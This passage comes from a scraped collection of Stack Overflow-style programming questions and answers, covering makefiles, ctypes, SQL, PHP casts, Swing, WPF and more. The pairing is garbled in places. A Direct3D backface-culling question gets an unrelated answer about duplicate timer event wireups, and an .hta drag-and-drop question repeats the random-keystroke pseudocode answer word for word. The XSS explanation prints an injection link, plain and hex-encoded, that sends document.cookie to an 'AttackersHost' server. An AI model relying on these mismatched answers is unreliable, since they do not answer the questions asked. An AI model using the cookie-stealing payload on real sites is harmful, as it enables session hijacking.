            NewLabel->Caption = Oldlabel->Caption
            // and so on...
        } else if (Comp->ClassNameIs("TPanel")) {
            // copy a TPanel object
        }
```
```
Maybe somebody has a better method of copying all of the published properties of the old control to the new one.


Question:
We use GNU Make for our system.  At the end of our makefiles, we have an include called Makedepends which generates a bunch of .d files using -MM switch on gcc.  We then include the .d file for each .cc file using an include $(CXXFILES:.cc=.d) line.  But when we delete file or move files, the dependancies step breaks and we have to manually delete the .d files (even a make clean doesn't work because the dependencies fail)

Is there a way to generate these dependency .d files or include these dependency .d files which will gracefully handle a file deletion or relocation?

EDIT: For example: I have serial.cc and the makefiles generate a serial.d file which has a dependency on buffer.h but then I change it so I don't need buffer.h any more and I delete buffer.h.  Next time I run make, it will choke because it includes the .d file which still makes serial.o depend on buffer.h.

Answer:
Two possibilities:
First, can you add a rule to your Makefile to run the dependency step:
```
```
.SUFFIXES: .d

%.d::
   makedepend_command_here
```
```
If not, then from the
```
Last Resort
```
section of the
```
info
```
page for GNU Make:
For example, when testing a
  makefile, you might not care if the
  source files contain real data, only
  that they exist.  Then you might do
  this:
```
```
%::
         touch $@
```
```
to cause all the source files needed
  (as prerequisites) to be created
  automatically.
Will this work to create empty
```
.d
```
files for you?


Question:
I have a third-party product, a terminal emulator, which provides a DLL that can be linked to a C program to basically automate the driving of this product (send keystrokes, detect what's on the screen and so forth).

I want to drive it from a scripting language (I'm comfortable with Python and slightly less so with Perl) so that we don't have to compile and send out executables to our customers whenever there's a problem found.

We also want the customers to be able to write their own scripts using ours as baselines and they won't entertain the idea of writing and compiling C code.

What's a good way of getting Python/Perl to interface to a Windows DLL. My first thought was to write a server program and have a Python script communicate with it via TCP but there's got to be an easier solution.

Answer:
One way to call C libraries from Python is to use
ctypes
:
```
```
>>> from ctypes import *
>>> windll.user32.MessageBoxA(None, "Hello world", "ctypes", 0);
```
```


Question:
I am trying to mock out HttpContext so that I can unit test my controller's Request.IsAuthenicated call. I am using the code that I found at Scott Hanselman's blog to simulate HttpContext using rhino.mocks.
so i have this unit test piece:

PostsController postsController = new PostsController(postDL);
mocks.SetFakeControllerContext(postsController);
Expect.Call(postsController.Request.IsAuthenticated).Return(true);

In my controller action, I have something like
if(Request.IsAuthenticated)....
when  I try to run the unit test, the test fails throwing a null exception, and when I try to debug the unit test, I see that the HttpContext is never assigned to the controller.
any ideas?

Answer:
Now, for disclosure, I have yet to get my hands dirty with most of the stuff you are working with, however:
If you want to mock the IsAuthenticated, why not just create a static class to return a bool that can the be manipulated by your test code?
This is a bit rough round the edges, but hopefully you get the idea:
```
```
interface IAuthenticationChecker
{
    bool IsAuthenticated { get; }
}

public class MockAuthenticationChecker : IAuthenticationChecker
{
    static bool _authenticated = false;

    public static void SetAuthenticated(bool value)
    {
        _authenticated = value;
    }
    #region IAuthenticationChecker Members

    public bool IsAuthenticated
    {
        get { return _authenticated; }
    }

    #endregion
}

public class RequestAuthenticationChecker : IAuthenticationChecker
{

    #region IAuthenticationChecker Members

    public bool IsAuthenticated
    {
        get {
            if (HttpContext.Current == null)
                throw new ApplicationException(
                    "Unable to Retrieve IsAuthenticated for Request becuse there is no current HttpContext.");

            return HttpContext.Current.Request.IsAuthenticated;
        }
    }

    #endregion
}
```
```
You can then use a reference to either at app level, yeah it means you have to add a reference at app level, and you need to use a different ref rather than Request, but you also get complete control over the authentication for testing :)
FYI - this is totally open to being blown apart, I threw it together in about a minute :)


Question:
I came across an article about Car remote entry system at http://auto.howstuffworks.com/remote-entry2.htm In the third bullet, author says,

Both the transmitter and the receiver use the same pseudo-random number generator. When the transmitter sends a 40-bit code, it uses the pseudo-random number generator to pick a new code, which it stores in memory. On the other end, when the receiver receives a valid code, it uses the same pseudo-random number generator to pick a new one. In this way, the transmitter and the receiver are synchronized. The receiver only opens the door if it receives the code it expects.

Is it possible to have two PRNG functions producing same random numbers at the same time?

Answer:
In PRNG functions, the output of the function is dependent on a 'seed' value, such that the same output will be provided from successive calls given the same seed value. So, yes.
An example (using C#) would be something like:
```
```
// Provide the same seed value for both generators:
System.Random r1 = new System.Random(1);
System.Random r2 = new System.Random(1);

// Will output 'True'
Console.WriteLine(r1.Next() == r2.Next());
```
```
This is all of course dependent on the random number generator using some sort of deterministic formula to generate its values. If you use a so-called 'true random' number generator that uses properties of entropy or noise in its generation, then it would be very difficult to produce the same values given some input, unless you're able to duplicate the entropic state for both calls into the function - which, of course, would defeat the purpose of using such a generator...
In the case of remote keyless entry systems, they very likely use a PRNG function that is deterministic in order to take advantage of this feature. There are many ICs that provide this sort of functionality to produce random numbers for electronic circuits.
Edit: upon request, here is an example of a non-deterministic random number generator which doesn't rely upon a specified seed value:
Quantum Random Number Generator
. Of course, as freespace points out in the comments, this is not a pseudorandom number generator, since it generates truly random numbers.


Question:
I have a char in c#:

char foo = '2';

Now I want to get the 2 into an int.  I find that Convert.ToInt32 returns the actual decimal value of the char and not the number 2.  The following will work:

int bar = Convert.ToInt32(new string(foo, 1));

int.parse only works on strings as well.

Is there no native function in C# to go from a char to int without making it a string?  I know this is trivial but it just seems odd that there's nothing native to directly make the conversion.

Answer:
This will convert it to an
```
int
```
:
```
```
char foo = '2';
int bar = foo - '0';
```
```
This works because each character is internally represented by a number. The characters
```
'0'
```
to
```
'9'
```
are represented by consecutive numbers, so finding the difference between the characters
```
'0'
```
and
```
'2'
```
results in the number 2.


Question:
Just to clarify, I'm running Sybase 12.5.3, but I am lead to believe that this holds true for SQL Server 2005 too. Basically, I'm trying to write a query that looks a little like this, I've simplified it as much as possible to highlight the problem:

DECLARE @a int,  @b int, @c int

SELECT
     @a = huzzah.a
    ,@b = huzzah.b
    ,@c = huzzah.c
FROM (
    SELECT
         1 a
        ,2 b
        ,3 c
) huzzah

This query gives me the following error: "Error:141 A SELECT statement that assigns a value to a variable must not be combined with data-retrieval operations."

The only work around that I've got for this so far, is to insert the derived-table data into a temporary table and then select it right back out again. Which works fine, but the fact that this doesn't work irks me. Is there a better way to do this?

Answer:
I've just ran your code against 12.5.3 and it parses fine...doesn't return anything but it does run. Have you maybe simplified the problem a bit too much because I'm not seeing any error messages at all.
Just to be clear, the following runs and returns what you'd expect.
```
```
DECLARE @a int,  @b int, @c int

SELECT
     @a = huzzah.a
    ,@b = huzzah.b
    ,@c = huzzah.c
FROM (
    SELECT
         1 a
        ,2 b
        ,3 c
) huzzah

select @a
select @b
select @c
```
```


Question:
I track alot of things with RRD, eg, uptime, network throughput, etc. This works well when you can fit all the graphs on a single page, however, once you scale beyond a page it becomes difficult to use graphs to catch issues, you need to look at them to see that there is an issue, and if there is hundreds or thousands of graphs, that obviously isn't possible.

So, is there any standard way, or existing software for monitoring rrd databases for trend changes? Eg, every day, network traffic looks pretty much the same, if it spikes or dips dramatically in a single hour/day/week compared to the norm, I'd like to be alerted to it.

Or even just generic methods for finding changes in trends.

Answer:
You can read the RRD file directly, not just use the graphs generated. You might need to write your own app to do this, but the file format is an open standard so shouldn't be that difficult to get what you need.
RRD File Format


Question: What is the exact use of an Abstract class? Is not possible to do the same things in an ordinary class as it is an an abstract class?

Answer:
An abstract class is used when you have some base functionality that you want subclasses to inherit, but it wouldn't make sense to instantiate the base class.  For example, if you had something like a Shape base class, you could have some built in implementation that could be used by subclasses as well as interface methods that you want the subclasses to implement.  However, it probably wouldn't make sense to create a Shape object.  An abstract class gives you this functionality.  Another great example of abstract class uses is the
abstract factory pattern
.


Question:
Using PHP, what's the fastest way to convert a string like this: "123" to an integer?

Why is that particular method the fastest? What happens if it gets unexpected input, such as "hello" or an array?

Answer:
I've just set up a quick benchmarking exercise:
```
```
Function             time to run 1 million iterations
--------------------------------------------
(int) "123":                0.55029
intval("123"):              1.0115  (183%)

(int) "0":                  0.42461
intval("0"):                0.95683 (225%)

(int) int:                  0.1502
intval(int):                0.65716 (438%)

(int) array("a", "b"):      0.91264
intval(array("a", "b")):    1.47681 (162%)

(int) "hello":              0.42208
intval("hello"):            0.93678 (222%)
```
```
On average, calling intval() is two and a half times slower, and the difference is the greatest if your input already is an integer.
I'd be interested to know
why
though.
Update: I've run the tests again, this time with coercion
```
(0 + $var)
```
```
```
| INPUT ($x)      |  (int) $x  |intval($x) |  0 + $x   |
|-----------------|------------|-----------|-----------|
| "123"           |   0.51541  |  0.96924  |  0.33828  |
| "0"             |   0.42723  |  0.97418  |  0.31353  |
| 123             |   0.15011  |  0.61690  |  0.15452  |
| array("a", "b") |   0.8893   |  1.45109  |  err!     |
| "hello"         |   0.42618  |  0.88803  |  0.1691   |
|-----------------|------------|-----------|-----------|
```
```
Addendum:
I've just come across a slightly unexpected behaviour which you should be aware of when choosing one of these methods:
```
```
$x = "11";
(int) $x;      // int(11)
intval($x);    // int(11)
$x + 0;        // int(11)

$x = "0x11";
(int) $x;      // int(0)
intval($x);    // int(0)
$x + 0;        // int(17) !

$x = "011";
(int) $x;      // int(11)
intval($x);    // int(11)
$x + 0;        // int(11) (not 9)
```
```
Tested using PHP 5.3.1


Question: I am a complete JSP beginner.  I am trying to use a java.util.List in a JSP page.  What do I need to do to use classes other than ones in java.lang?

Answer:
In the page tag:
```
```
<%@ page import="java.util.List" %>
```
```


Question:
I am looking for resources on Microsoft Sync Framework. Although MSDN and Google Search gave me the brief overview, I want some demos and presentations.

Also, is Live Mesh based on Sync Framework?

Answer:
Maybe those links will be helpful:
Sync101 - Getting Started with Sync
Tutorial - Microsoft Sync Framework Basics
S
QL Express - Client Synchronization Sample
Sync Services for ADO.NET v2 - Download Only Sync
Sync Services for ADO.NET Adapter Builder


Question: Can someone explain how XSS works in plain english? Maybe with an example. Googling didn't help much.

Answer:
Cross Site Scripting basically is a security vulnerability of dynamic web pages where an attacker can create a malicious link to inject unwanted executable JavaScript into a Web site. The most usual case of this vulnerabilities occurs when GET variables are printed or echoed without filtering or checking their content.
When a victim clicks the link, the malicious code can then send the victim’s cookie away to another server, or it can modify the affected site, injecting forms, to steal usernames and passwords, and other phishing techniques.
Example of malicious link:
```
```
http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>
```
```
It's also common to encode the malicious code, for example in hex:
```
```
http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
```
```


Question:
A while ago I noticed I don't have a magnifying-glass next to my datatables. I used to have it, and somehow, sometime, it disappeared...

Has anyone seen this happen? Do you know how to help me view my datatables again?

Update: I'm still clueless about this. Could anyone point me in some direction, where should I even start looking for an answer? Thanks a lot.

Update: I changed to a new computer, and still the same problem. But I pinpointed it to being only in Visual Studio 2005. On Visual Studio 2008 I have perfectly normal DataSet and  Datatable visualizers.
So I tried re-installing VS2005, to make sure all the components were installed, nothing left  out - but Nada. Still no visualizer.

Update: Found the solution to my problem: My answer

Answer:
Create a new clean project, does the Visualizer show up there?
Check if this file exist: "\Program Files\Microsoft Visual Studio 8.0\Common7\Packages\Debugger\Visualizers\Microsoft.VisualStudio.Debugger.DataSetVisualizer.dll"
Check if the dll is loaded in Visual Studio, Open your project, then open anther Visual Studio, attach the debugger into the first Visual Studio (Make sure that managed debugger is selected). Inside the
debugging
Visual Studio open Debug/Windows/Modules to see if the DataSetVisualizer is loaded.
try
devenv /ResetSettings
from an admin console.


Question:
Do they set display: none or visibility: hidden?

I'm pretty sure display: none takes the element out of the normal flow, whilst visibility: hidden just hides the element but still has a reserved space for it.

Should I just go download the unpacked version and study it or does someone have a quick answer?

Answer:
It uses
```
display
```
.
Edit: And from John Sheehan's comment on this answer, which I agree with:
You should go view the unpacked source anyway just to familiarize yourself with it
Edit 2: Comments have mentioned using Firebug to discover what is happening. Indeed, I actually went to the jQuery docs and used the Safari Web Inspector to see what happened on the
```
hide()
```
demo to be sure of my answer.


Question:
An old Direct3D book says

"...you can achieve an acceptable frame
  rate with hardware acceleration while
  displaying between 2000 and 4000
  polygons per frame..."

What is one polygon in Direct3D? Do they mean one primitive (indexed or otherwise) or one triangle?

Answer:
According to this
page
, a polygon is n-sided in Direct3d.
In C#:
```
```
public static Mesh Polygon(
    Device device,
    float length,
    int sides
)
```
```


Question:
In our application we enable users to print pages. We do this by supplying a button which when click calls the window.print() function.

Some of the pages would look better if they were printed in landscape mode rather than portrait. Is there a way to control the page layout from JavaScript?

Update: Following the advice given here I looked for "css landscape" in google, and found the following article that showed ways of css-ly defining landscape:

Answer:
Do it with CSS by including a print stylesheet thusly:
```
```
<style type="text/css" media="print">@import url("/inc/web.print.css");</style>
```
```


Question:
Imagine you got an entity in the Google App Engine datastore, storing links for anonymous users.
You would like to perform the following SQL query, which is not supported:

SELECT DISTINCT user_hash FROM links

Instead you could use:

user = db.GqlQuery("SELECT user_hash FROM links")

How to use Python most efficiently to filter the result, so it returns a DISTINCT result set?
How to count the DISTINCT result set?

Answer:
One option would be to put the results into a set object:
http://www.python.org/doc/2.6/library/sets.html#sets.Set
The resulting set will consist only of the distinct values passed into it.
Failing that, building up a new list containing only the unique objects would work. Something like:
```
```
unique_results = []
for obj in user:
    if obj not in unique_results:
        unique_results.append(obj)
```
```
That
```
for
```
loop can be condensed into a list comprehension as well.


Question: Is there a mandatory relationship between a Controller Action and a View? I mean is it necessary to have a physical View (.aspx page) for each Action inside a Controller class?

Answer:
There is no mandatory relationship between the Controller Action and a view. The controller is responsible for returning an ActionResult. The most usual way of doing this is by using a View, but they aren't hard wired. A view could be shared across Controllers for instance.
Also a Controller, can deal with the request purely on its own, returning a redirect, or a JSON result, or even its own html (though not recommended).


Question:
Let's say I have the following table:

CustomerID ParentID Name
========== ======== ====
1          null     John
2          1        James
3          2        Jenna
4          3        Jennifer
5          3        Peter
6          5        Alice
7          5        Steve
8          1        Larry

I want to retrieve in one query all the descendants of James (Jenna,Jennifer,Peter, Alice, Steve).
Thanks,
Pablo.

Answer:
You can't do recursion in SQL without stored procedures. The way to solve this is using Nested Sets, they basically model a tree in SQL as a set.
Notice that this will require a change to the current data model or possibly figuring out how to create a view on the original model.
Postgresql example (using very few postgresql extensions, just SERIAL and ON COMMIT DROP, most RDBMSes will have similar functionality):
Setup:
```
```
CREATE TABLE objects(
    id SERIAL PRIMARY KEY,
    name TEXT,
    lft INT,
    rgt INT
);

INSERT INTO objects(name, lft, rgt) VALUES('The root of the tree', 1, 2);
```
```
Adding a child:
```
```
START TRANSACTION;

-- postgresql doesn't support variables so we create a temporary table that
-- gets deleted after the transaction has finished.

CREATE TEMP TABLE left_tmp(
    lft INT
) ON COMMIT DROP; -- not standard sql

-- store the left of the parent for later use
INSERT INTO left_tmp (lft) VALUES((SELECT lft FROM objects WHERE name = 'The parent of the newly inserted node'));

-- move all the children already in the set to the right
-- to make room for the new child
UPDATE objects SET rgt = rgt + 2 WHERE rgt > (SELECT lft FROM left_tmp LIMIT 1);
UPDATE objects SET lft = lft + 2 WHERE lft > (SELECT lft FROM left_tmp LIMIT 1);

-- insert the new child
INSERT INTO objects(name, lft, rgt) VALUES(
    'The name of the newly inserted node',
    (SELECT lft + 1 FROM left_tmp LIMIT 1),
    (SELECT lft + 2 FROM left_tmp LIMIT 1)
);

COMMIT;
```
```
Display a trail from bottom to top:
```
```
SELECT
    parent.id, parent.lft
FROM
    objects AS current_node
INNER JOIN
    objects AS parent
ON
    current_node.lft BETWEEN parent.lft AND parent.rgt
WHERE
    current_node.name = 'The name of the deepest child'
ORDER BY
    parent.lft;
```
```
Display the entire tree:
```
```
SELECT
    REPEAT('   ', CAST((COUNT(parent.id) - 1) AS INT)) || '- ' || current_node.name AS indented_name
FROM
    objects current_node
INNER JOIN
    objects parent
ON
    current_node.lft BETWEEN parent.lft AND parent.rgt
GROUP BY
    current_node.name,
    current_node.lft
ORDER BY
    current_node.lft;
```
```
Select everything down from a certain element of the tree:
```
```
SELECT
    current_node.name AS node_name
FROM
    objects current_node
INNER JOIN
    objects parent
ON
    current_node.lft BETWEEN parent.lft AND parent.rgt
AND
    parent.name = 'child'
GROUP BY
    current_node.name,
    current_node.lft
ORDER BY
    current_node.lft;
```
```


Question:
I have  database with many tables. In the first table, I have a field called status.

table 1
idno   name    status
111    hjghf   yes
225    hjgjj   no
345    hgj     yes

Other tables could have same idno with different fields.

I want to check the status for each id no and if it is yes then for that id number in all tables for all null and blank fields I want to update them as 111111.

I am looking for a sample vba code for this which I can adapt.

Thanks

Answer:
Here is some largely untested code. Hopefully it will give you a start.
```
```
Sub UpdateNulls()
Dim strSQL As String
Dim rs As DAO.Recordset
For Each tdf In CurrentDb.TableDefs
    If Left(tdf.Name, 4) <> "Msys" And tdf.Name <> "Table1" Then
        strSQL = "Select * From [" & tdf.Name & "] a Inner Join " _
        & "Table1 On a.idno = Table1.idno Where Table1.Status = 'Yes'"

        Set rs = CurrentDb.OpenRecordset(strSQL)

        Do While Not rs.EOF
            For i = 0 To rs.Fields.Count - 1
                If IsNull(rs.Fields(i)) Then
                    rs.Edit
                    rs.Fields(i) = 111111
                    rs.Update
                End If
            Next
            rs.MoveNext
        Loop

    End If
Next
End Sub
```
```


Question: Is there in Ruby some functionality/syntax to compare two floats with delta? Something similar to assert_in_delta(expected_float, actual_float, delta) from test/unit but returning Boolean?

Answer:
```
```
(expected_float - actual_float).abs <= delta
```
```


Question:
I usually never see test for new in C++ and I was wondering why.

Foo *f = new Foo;

// f is assumed as allocated, why usually, nobody test the return of new?

Answer:
As per the current standard,
new
never returns
NULL
, it throws a std::bad_alloc instead. If you don't want new to throw(as per the old standard) but rather return NULL you should call it by postfixing it with "
(std::nothrow)
".
i.e.
```
```
Foo* foo = new (std::nothrow) Foo;
```
```
Of course, if you have a very old or possibly broken toolchain it might not follow the standard.


Question:
I am using Direct3D to display a number of I-sections used in steel construction. There could be hundreds of instances of these I-sections all over my scene.

I could do this two ways:

Using method A, I have fewer surfaces. However, with backface culling turned on, the surfaces will be visible from only one side. If backface culling is turned off, then the flanges (horizontal plates) and web (vertical plate) may be rendered in the wrong order.

Method B seems correct (and I could keep backface culling turned on), but in my model the thickness of plates in the I-section is of no importance and I would like to avoid having to create a separate triangle strip for each side of the plates.

Is there a better solution? Is there a way to switch off backface culling for only certain calls of DrawIndexedPrimitives? I would also like a platform-neutral answer to this, if there is one.

Answer:
Well my most basic instinct would be that somehow you actually have two event wireups to the Elapsed event - resulting in two events firing. I've been caught out through this, sometimes because I've added the event wireup manually when it has already been added in the designer, or there is some inheritance aspect here where the wireup is already in a base class and you are repeating it in a derived class.
Of course if there are multiple threads then that is a whole different ball game!


Question:
I know that LDAP is used to provide some information and to help facilitate authorization.

But what are the other usages of LDAP?

Answer:
That's a rather large question.
LDAP is a protocol for accessing a directory. A directory contains objects; generally those related to users, groups, computers, printers and so on; company structure information (although frankly you can extend it and store anything in there).
LDAP gives you query methods to add, update and remove objects within a directory (and a bunch more, but those are the central ones).
What LDAP does not do is provide a database; a database provides LDAP access to itself, not the other way around. It is much more than signup.


Question: What is the initial cost of setting up CruiseControl?

Answer:
How do you define 'cost'? It's free to download so there's no monetary cost.
In terms of time it should take between 1/2 - 1 day, depending on how complicated your configuration is.


Question: Is it possible to easily embed ActiveX controls in Java application? Is it worth it. In my next project I should either use existing activex in Java app or have to reimplement everything from scratch, so I'm wondering what will be less hassle.

Answer:
I don't think there's a way to do this without resorting to a third party library.  (Or rolling your own, but you did say "easily".)
SWT
(The "Standard Widget Toolkit") contains support for embedding ActiveX controls.  SWT is an alternative to Swing, though there is a degree of interoperability between them.
Here's
an example of embedding Windows Media Player in an SWT window.
Alternatively there's the
Jacob
project, though I haven't used that myself.
As for "is it worth it?"  Well, I can say from experience that SWT makes it relatively easy, but unless your application can gracefully deal with not having them available, by relying on COM components you are losing the ability to run on multiple platforms that makes Java attractive in the first place.


Question:
I have a class with some abstract methods, but I want to be able to edit a subclass of that class in the designer.  However, the designer can't edit the subclass unless it can create an instance of the parent class.  So my plan is to replace the abstract methods with stubs and mark them as virtual - but then if I make another subclass, I won't get a compile-time error if I forget to implement them.

Is there a way to mark the methods so that they have to be implemented by subclasses, without marking them as abstract?

Answer:
Well you could do some really messy code involving
```
#if
```
- i.e. in
```
DEBUG
```
it is virtual (for the designer), but in
```
RELEASE
```
it is abstract. A real pain to maintain, though.
But other than that: basically, no. If you want designer support it can't be abstract, so you are left with "virtual" (presumably with the base method throwing a
```
NotImplementedException
```
).
Of course, your unit tests will check that the methods have been implemented, yes? ;-p
Actually, it would probably be quite easy to test via generics - i.e. have a generic test method of the form:
```
```
[Test]
public void TestFoo() {
  ActualTest<Foo>();
}
[Test]
public void TestBar() {
  ActualTest<Bar>();
}

static void ActualTest<T>() where T : SomeBaseClass, new() {
  T obj = new T();
  Assert.blah something involving obj
}
```
```


Question:
How do I insert a current_timestamp into an SQL Server 2005 database datable with a timestamp column?

It should be simple but I cannot get it to work.  Examples would be much appreciated.

Answer:
if you can execute a query from PHP then it should just be a matter of using 'getdate()' ;
```
```
update MyTable set MyColumn=getdate();
```
```
or
```
```
insert into MyTable (MyColumn) values (getdate());
```
```


Question: How does the event creation and handling work in Java Swing?

Answer:
There's a tutorial on eveng handling here:
http://java.sun.com/docs/books/tutorial/uiswing/events/index.html
It's about Swing. If that doesn't work maybe you could be a bit more specific?


Question:
I'm kinda stuck with this one so I hoped someone could help me.

I am doing a Winforms application and I need to show a Modal Dialog (form.ShowDialog) that returns a value (prompts the User some values and wraps them in a Object).

I just can't see how to do this rather than give a reference into the object or depending on some form of public Property to read the data afterwards.

I'd just like to have ShowDialog return something different, but that doesn't work.
Is thare some "good" way to do this?

I'm sure the problem isn't new, but since almost nobody seems to do Winforms any more I can't find any guidance on the web.

Answer:
Add a static method to your form, like this:
```
```
public class MyDialog : Form
{
    // todo: think of a better method name :)
    public static MyObject ShowAndReturnObject()
    {
        var dlg = new MyDialog();
        if (new dlg.ShowDialog() == DialogResult.OK)
        {
            var obj = // construct an instance of MyObject from dlg
            return obj;
        }
        else
        {
           return null;
        }
    }
}
```
```
Now you can call this from your program thusly:
```
```
var myObject = MyDialog.ShowAndReturnObject();
```
```
... and if they cancel the dialog, myObject will be null.
Now, having said all that, I do believe that adding a property to your form's class which you then read from after calling ShowDialog() is the better approach.


Question:
I want to compare two ms-access .mdb files to check that the data they contain is same in both.

How can I do this?

Answer:
If you want to know if the files are identical then
```
```
fc file1.mdb file2.mdb
```
```
on a DOS command line.
If the files aren't identical but you suspect they contain the same tables and records then the easiest way would be quickly write a small utility that opens both databases and cycles through the tables of both performing a heterogeneous query to extract the Diff between the two files.
There are some tools out there which will do this for you, but they all appear to be shareware.


Question: I would like to stress test a win32 application by sending a lot of random keystrokes to it, and I wonder if anyone could point me to some software I could use. Ideally, I should be able to specify which keystrokes can be sent, and control rate (random min/max).

Answer:
Here's a pseudocode (since you didn't mention the language you're using):
Create an array that contains the alphabet from a-z, A-Z, 0-9 (depending on what keys you wish to send)
for i = 0 to NumberOfKeyStrokes
rand() % SizeOfArray
delay for rand() milliseconds (the lower the range, the faster the key strokes are)
send via an API or as a string
For more information on sending a keystrike to an application on windows, research the API FindWindow and SendMessage


Question:
From a HTML application (.hta file), you can drag any image and drop it into the desktop for example.

Does anybody know how to disable this capability?

I want the .hta files to have the same behavior as the .html files.

Answer:
Here's a pseudocode (since you didn't mention the language you're using):
Create an array that contains the alphabet from a-z, A-Z, 0-9 (depending on what keys you wish to send)
for i = 0 to NumberOfKeyStrokes
rand() % SizeOfArray
delay for rand() milliseconds (the lower the range, the faster the key strokes are)
send via an API or as a string
For more information on sending a keystrike to an application on windows, research the API FindWindow and SendMessage


Question:
How do I truncate output in BASH?

For example, if I "du file.name" how do I just get the numeric value and nothing more?

later addition:

all solutions work perfectly. I chose to accept the most enlightning "cut" answer because I prefer the simplest approach in bash files others are supposed to be able to read.

Answer:
```
```
du | cut -f 1
```
```


Question:
I want to set up a Subversion server installation on Windows Server 2003 64-bit and I'm considering using VisualSVN Server. Does this work OK in a 64-bit environment? Are there any issues or gotchas I should be aware of before installing the software?

Many thanks!

Answer:
VisualSVN 1.5.1 works on Vista 64 bits. You can get some
update here
for Vista if you experiment some problem, but you should be fine.


Question:
I have a table that has a processed_timestamp column -- if a record has been processed then that field contains the datetime it was processed, otherwise it is null.

I want to write a query that returns two rows:

NULL        xx -- count of records with null timestamps
NOT NULL    yy -- count of records with non-null timestamps

Is that possible?

Update: The table is quite large, so efficiency is important. I could just run two queries to calculate each total separately, but I want to avoid hitting the table twice if I can avoid it.

Answer:
In MySQL you could do something like
```
```
SELECT
    IF(ISNULL(processed_timestamp), 'NULL', 'NOT NULL') as myfield,
    COUNT(*)
FROM mytable
GROUP BY myfield
```
```


Question:
We are replacing the exception handling system in our app in order to conform to Vista certification, but the problem is how to force certain exceptions to be thrown, so that we can check the response.

Unfortunately the whole app was written without taking into consideration proper layering, abstraction or isolation principles, and within the timeframe introducing mocking and unit testing is out of the question :(

My idea is to introduce code which will throw a particular exception, either through a compiler directive or by respecting a value in the config file.  We can then just run the app as normal and manually check how the exception is handled.

Just thought I'd put it out there and see if the SO community can think of anything better!

Cheers

Answer:
Introduce this code:
```
```
throw new Exception("test");
```
```
If you need the exception to always be there (i.e., not just test code), then hide it behind a command-line parameter.
```
```
C:\Users\Dude> myapp.exe /x
```
```


Question:
I have custom coded several enterprise applications for mid to large organizations to use internally (some with a minimal external footprint).  I now have plans for a web project that may (hopefully) see a large userbase with more daily traffic than my previous projects have ever attained.  Obviously I want my design to be scalable and maintainable.  The problem is that from a physical layout perspective (servers/VMs) I do not know what to expect.

The question:  What are some good resources for this?  Books?  Websites?  I have found plenty on scalable application design, but nothing on scalable physical design.

Answer:
It's hard to give exact answer without knowing something about what technologies you plan to use. The approach to the application can't be completely unaware of planned physical infrastructure if scaling is a major driver.
Caching would have to be a big concern.  Also ways to expand the hardware where your data lives.
A very interesting and instructive read is the real world bio of live journal,
a history of scaling
, and how they grew their physical presence with a massive growth in their website.  One major offshoot of their work was a new caching technology, memcached, which is now used by FaceBook among others.  It is surprisingly honest.


Question:
I'm occasionaly getting the following popup from an AJAX.NET application

Sys.WebForms.PageRequestManagerServerErrorException: An Unknown error occurred while processing the request on the server. The status code returned from the server was: 12031

From the Microsoft kb that status code indicates a ERROR_INTERNET_CONNECTION_RESET, but it doesn't state what was the underlying issue the triggered the error in the first place.

How can I log/trace/etc the underlying error that generated the popup?

Answer:
If you're getting that from an updatePanel, set EnablePartialRendering to false in the ScriptManager for the page, and then it should give you the actual error.
Also, if it only happens occasionally, I've found that it could be a viewstate problem, especially when the page goes a long time (20mins or so) between refreshes.
Otherwise, try some try/catch blocks.  Those are some easy methods.
Hope that helps!


Question: How to load only the schema of the tables into a dataset.

Answer: SqlDataAdapter.FillSchema


Question: Other than using raw XML, is there an easy way in .NET to open and read a config file belonging to another assembly...?  I don't need to write to it, just grab a couple of values from it.

Answer:
Have you tried
```
ConfigurationManager
```
and
```
OpenExeConfiguration(path)
```
? (in System.Configuration.dll)


Question:
My company is just starting to look at using WPF for migrating all of our 10 year old business applications. These applications will most of the time be running on computers that have limited/old hardware. We are now a little worried that the hardware might be too limited for using WPF.

We have installed Family.Show (http://www.vertigo.com/familyshow.aspx) on an basic older computer and that seems to run ok. But we would like know what your experiences with WPF on older hardware is? Anyone out there willing to share some experiences with us?

Answer:
WPF apps will
generally
run no slower than their equivalents using other technologies. In other words, performance depends on what you're doing. If you have a basic app with some simple data entry controls and a grid or two then it'll be a lot less demanding than an app that has animated custom controls with overlaid video, etc.
You should also bear in mind that you must have at least XP SP2 to install WPF, which sets a reasonable hardware baseline anyway.
In summary you should have no problems running a WPF app on older hardware as long as you are sensible with the frills. Given WPF's templated controls it's also fairly trivial to test for a basic level of client performance at runtime (see
Graphics Rendering Tiers
) and only enable more advanced features on suitable hardware.


Question:
It's great to find all those little snippets of code on the Web for your current needs, but is there anything better than getting whole application source code at once and reading it like a book?
There's no better way to learn positive and negative aspects of various architecture solutions.

That's why I was trying to find some known/big websites with its source code published, but haven't found anything more than I knew already ( http://code.reddit.com/browser )

Do you know anything more?

PS. Just being curious - have you heard about any unofficial big web site source code leak?

Answer:
Wikipedia's source code (MediaWiki) can be found at
http://www.mediawiki.org/
The most relevant parts are
"phase3"
(the core code; this strange name is because it was rewritten a couple of times)
extensions
(Wikipedia uses several of them; which ones can be seen at
Special:Version
)
Additionally, here is a very detailed explanation of Wikipedia's whole architecture:
Wikipedia: Site internals, conﬁguration, code examples and management issues
.


Question:
When I try to add a HTTP header key/value pair on a WebRequest object, I get the following exception:

This header must be modified using the appropriate property

I've tried adding new values to the Headers collection by using the Add() method but I still get the same exception.

webRequest.Headers.Add(HttpRequestHeader.Referer, "http://stackoverflow.com");

I can get around this by casting the WebRequest object to a HttpWebRequest and setting the properties such as httpWebReq.Referer ="http://stackoverflow.com", but this only works for a handful of headers that are exposed via properties.

I'd like to know if there's a way to get a finer grained control over modifying headers with a request for a remote resource.

Answer:
WebRequest
being abstract (and since any inheriting class must override the Headers property).. which concrete WebRequest are you using ? In other words, how do you get that WebRequest object to beign with ?
ehr.. mnour answer made me realize that the error message you were getting is actually spot on: it's telling you that the header you are trying to add already exist and you should then modify its value using the appropriate property (the indexer, for instance), instead of trying to add it again. That's probably all you were looking for.
Other classes inheriting from WebRequest might have even better properties wrapping certain headers; See
this post
for instance.


Question:
What is the correct way to check if a value is a date/number in Delphi?

I know other languages have functions like isDate and  isNaN, but what is the Delphi equivalent? at the minute I have this

